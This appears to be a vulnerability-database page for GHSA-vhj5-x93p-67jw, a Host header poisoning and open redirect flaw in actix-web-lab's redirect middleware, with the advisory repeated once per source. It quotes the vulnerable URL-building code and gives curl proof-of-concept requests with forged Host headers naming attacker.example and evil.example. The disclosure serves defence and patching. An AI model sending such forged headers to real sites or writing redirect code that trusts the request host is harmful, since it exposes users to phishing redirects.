GHSA-vhj5-x93p-67jw
actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects
GHSA-vhj5-x93p-67jw is a medium vulnerability (CVSS 5.4) in actix-web-lab, published March 11, 2026. No source lists public exploit code. Fixed in actix-web-lab 0.26.0.
- Severity
- 5.4 MediumCVSS 3.1, GitHub Advisories
- Exploit chance
- UnscoredNo EPSS score yet
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
0.26.0actix-web-lab +1 more
Description
Summary
actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.
CVE
Assigned CVE ID: CVE-2025-63762
Details
The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():
actix-web-lab/src/redirect_to_https.rs(around lines 119-132)let host = conn_info.host();format!("https://{hostname}{path}")format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs(around lines 30-35)format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs(around lines 30-34)format!("{scheme}://{host_no_www}{path}")
Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.
PoC
Environment used for validation:
- Local minimal Actix apps using
actix-web-labmiddleware - RedirectHttps:
http://127.0.0.1:18080 - redirect_to_www:
http://127.0.0.1:18081 - redirect_to_non_www:
http://127.0.0.1:18082
Reproduction (RedirectHttps):
curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"
Observed response:
HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test
Additional verification:
curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"
Observed response:
HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def
Reproduction (redirect_to_www):
curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"
Observed response:
HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello
Reproduction (redirect_to_non_www):
curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"
Observed response:
HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path
Impact
This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Affected packages
| Package | Affected | Fixed |
|---|---|---|
actix-web-labcrates.io | through 0.25.0 | 0.26.0 |
actix-web-labcrates.io | before 0.26.0 | 0.26.0 |
What each source reports
GitHub Advisories Score used 5.4
actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects
Summary
actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.
CVE
Assigned CVE ID: CVE-2025-63762
Details
The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():
actix-web-lab/src/redirect_to_https.rs(around lines 119-132)let host = conn_info.host();format!("https://{hostname}{path}")format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs(around lines 30-35)format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs(around lines 30-34)format!("{scheme}://{host_no_www}{path}")
Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.
PoC
Environment used for validation:
- Local minimal Actix apps using
actix-web-labmiddleware - RedirectHttps:
http://127.0.0.1:18080 - redirect_to_www:
http://127.0.0.1:18081 - redirect_to_non_www:
http://127.0.0.1:18082
Reproduction (RedirectHttps):
curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"
Observed response:
HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test
Additional verification:
curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"
Observed response:
HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def
Reproduction (redirect_to_www):
curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"
Observed response:
HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello
Reproduction (redirect_to_non_www):
curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"
Observed response:
HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path
Impact
This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.
- Record
GHSA-vhj5-x93p-67jw- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-601
- Updated
- 2026-11-02
OSV 5.4
actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects
Summary
actix-web-lab redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, https://{hostname}{path}). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the Location response header, causing open redirect/phishing behavior.
CVE
Assigned CVE ID: CVE-2025-63762
Details
The issue is in redirect middleware paths that construct absolute URLs from req.connection_info():
actix-web-lab/src/redirect_to_https.rs(around lines 119-132)let host = conn_info.host();format!("https://{hostname}{path}")format!("https://{hostname}:{port}{path}")
actix-web-lab/src/redirect_to_www.rs(around lines 30-35)format!("{scheme}://www.{host}{path}")
actix-web-lab/src/redirect_to_non_www.rs(around lines 30-34)format!("{scheme}://{host_no_www}{path}")
Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing.
PoC
Environment used for validation:
- Local minimal Actix apps using
actix-web-labmiddleware - RedirectHttps:
http://127.0.0.1:18080 - redirect_to_www:
http://127.0.0.1:18081 - redirect_to_non_www:
http://127.0.0.1:18082
Reproduction (RedirectHttps):
curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example"
Observed response:
HTTP/1.1 307 Temporary Redirect
location: https://attacker.example/test
Additional verification:
curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999"
Observed response:
HTTP/1.1 307 Temporary Redirect
location: https://evil.example/abc/def
Reproduction (redirect_to_www):
curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example"
Observed response:
HTTP/1.1 307 Temporary Redirect
location: http://www.attacker.example/hello
Reproduction (redirect_to_non_www):
curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example"
Observed response:
HTTP/1.1 307 Temporary Redirect
location: http://attacker.example/path
Impact
This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.
- Record
GHSA-vhj5-x93p-67jw- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - Weakness
- CWE-601
- Updated
- 2026-11-02
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.